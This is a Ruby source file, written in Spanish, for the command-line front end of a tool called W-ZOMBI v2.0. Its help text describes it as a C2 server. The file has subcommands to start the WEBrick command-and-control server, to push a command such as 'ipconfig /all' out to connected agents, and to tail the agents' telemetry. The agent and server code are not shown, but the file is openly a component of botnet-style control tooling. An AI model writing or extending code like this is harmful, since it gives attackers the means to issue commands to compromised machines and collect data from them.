# frozen_string_literal: true require 'optparse' require 'json' require_relative '../core/colores' require_relative '../w-zombi/lib/wzombi/config' require_relative '../w-zombi/lib/wzombi/server' require_relative '../w-zombi/lib/wzombi/command_store' module ADN class SubcomandoWZombi def initialize(args, logger) @args = args @logger = logger @base_path = File.expand_path('../w-zombi', __dir__) @config = WZombi::Config.new(base_path: @base_path) end def ejecutar if @args.empty? ayuda return end accion = @args[0] case accion when 'start' iniciar_servidor when 'cmd' actualizar_comando(@args[1]) when 'log' ver_logs when 'ayuda', '-h', '--help' ayuda else @logger.error("Acción desconocida: #{accion}") ayuda exit 1 end end private def iniciar_servidor @logger.info("Iniciando servidor W-ZOMBI v2.0") begin WZombi::Server.new(@config).start rescue Errno::EADDRINUSE @logger.error("El puerto #{@config.puerto} ya está en uso.") exit 1 rescue => e @logger.error("Error al iniciar el servidor: #{e.message}") exit 1 end end def actualizar_comando(comando) if comando.nil? || comando.empty? @logger.error("Debe especificar un comando. Uso: wzombi cmd \"comando\"") exit 1 end store = WZombi::CommandStore.new(@config.cmd_path) store.update(comando) @logger.exito("Comando actualizado: #{comando}") end def ver_logs log_path = @config.log_path unless File.exist?(log_path) @logger.advertencia("No hay logs disponibles en #{log_path}") return end puts "#{Color::CYAN}🛰️ Telemetría W-ZOMBI (tail -f)#{Color::RESET}" # Usamos exec para ceder el control al proceso tail si el usuario lo desea, # o system para volver después. system("tail -f #{log_path}") end def ayuda puts <<~HELP #{Color::CYAN}🧟 Herramienta W-ZOMBI v2.0#{Color::RESET} Uso: ./adn/tools/run wzombi [argumentos] Acciones: start Levanta el servidor C2 (WEBrick) cmd "" Actualiza el comando para los agentes log Muestra la telemetría en tiempo real (tail -f) ayuda Muestra esta ayuda Ejemplos: ./adn/tools/run wzombi cmd "ipconfig /all" ./adn/tools/run wzombi start HELP end end end